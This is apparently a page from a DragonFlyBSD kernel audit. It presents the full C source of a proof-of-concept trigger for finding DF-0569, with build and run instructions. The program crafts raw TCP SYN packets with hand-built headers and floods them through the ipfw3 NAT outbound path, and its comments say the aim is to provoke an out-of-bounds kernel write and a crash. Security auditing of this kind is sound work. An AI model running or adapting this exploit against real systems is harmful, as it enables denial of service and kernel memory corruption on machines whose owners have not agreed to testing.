DragonFlyBSD Kernel Audit
DF-0569 / raw_syn_trigger.c
← back to finding ↓ download raw
/*
 * DF-0569 — Fast raw SYN trigger for the TCP NAT path.
 *
 * Sends raw TCP SYN packets through vtnet0 to trigger pick_alias_port
 * in the ipfw3 NAT outbound path.  Each unique (src_port, dst_port)
 * creates a new NAT state, exercising the byte-swap OOB write.
 *
 * This is MUCH faster than connect() (no TCP handshake wait) and
 * targets the TCP path where OOB writes go BEFORE tcp_in[] into the
 * cfg_alias struct fields or kernel heap — more likely to crash.
 *
 * Build:  cc -O2 -o raw_syn_trigger raw_syn_trigger.c
 * Run:    ./raw_syn_trigger <count> <dst_ip>
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

/* Pseudo-header for TCP checksum */
struct pseudo_hdr {
    uint32_t src;
    uint32_t dst;
    uint8_t  zero;
    uint8_t  proto;
    uint16_t tcplen;
};

static uint16_t cksum(const void *data, int len)
{
    const uint16_t *p = data;
    uint32_t sum = 0;
    while (len > 1) { sum += *p++; len -= 2; }
    if (len) sum += *(const uint8_t *)p;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

int main(int argc, char *argv[])
{
    int count = (argc > 1) ? atoi(argv[1]) : 10000;
    const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2";
    int fd, i;
    struct sockaddr_in dst;

    signal(SIGPIPE, SIG_IGN);
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd < 0) { perror("raw socket (need root)"); return 1; }
    int on = 1;
    setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_aton(dst_ip, &dst.sin_addr);

    uint32_t src = inet_addr("10.0.2.15");

    fprintf(stderr, "DF-0569 raw SYN: sending %d SYN packets to %s "
                    "(expect ~%.0f OOB at 1.56%%)\n",
            count, dst_ip, count * 0.0156);

    for (i = 0; i < count; i++) {
        uint16_t sport = 1024 + (i % 60000);
        uint16_t dport = 1 + (i % 1000);

        char pkt[sizeof(struct ip) + sizeof(struct tcphdr)];
        memset(pkt, 0, sizeof(pkt));

        struct ip *iph = (struct ip *)pkt;
        iph->ip_hl = 5;
        iph->ip_v = 4;
        iph->ip_tos = 0;
        iph->ip_len = htons(sizeof(pkt));
        iph->ip_id = htons(i & 0xffff);
        iph->ip_off = 0;
        iph->ip_ttl = 64;
        iph->ip_p = IPPROTO_TCP;
        iph->ip_sum = 0;
        iph->ip_src.s_addr = src;
        iph->ip_dst.s_addr = dst.sin_addr.s_addr;

        struct tcphdr *tcph = (struct tcphdr *)(pkt + sizeof(struct ip));
        tcph->th_sport = htons(sport);
        tcph->th_dport = htons(dport);
        tcph->th_seq = htonl(i);
        tcph->th_ack = 0;
        tcph->th_off = 5;
        tcph->th_flags = TH_SYN;
        tcph->th_win = htons(1024);
        tcph->th_sum = 0;
        tcph->th_urp = 0;

        /* TCP checksum with pseudo-header */
        struct pseudo_hdr ph;
        ph.src = src;
        ph.dst = dst.sin_addr.s_addr;
        ph.zero = 0;
        ph.proto = IPPROTO_TCP;
        ph.tcplen = htons(sizeof(struct tcphdr));

        char csum_buf[sizeof(struct pseudo_hdr) + sizeof(struct tcphdr)];
        memcpy(csum_buf, &ph, sizeof(ph));
        memcpy(csum_buf + sizeof(ph), tcph, sizeof(struct tcphdr));
        tcph->th_sum = cksum(csum_buf, sizeof(csum_buf));

        /* IP header checksum */
        iph->ip_sum = cksum(iph, sizeof(struct ip));

        sendto(fd, pkt, sizeof(pkt), 0,
               (struct sockaddr *)&dst, sizeof(dst));

        if ((i + 1) % 2000 == 0)
            fprintf(stderr, "  %d/%d SYNs sent\n", i + 1, count);
    }

    close(fd);
    printf("DF-0569 raw SYN: sent %d packets, ~%.0f should trigger OOB\n",
           count, count * 0.0156);
    return 0;
}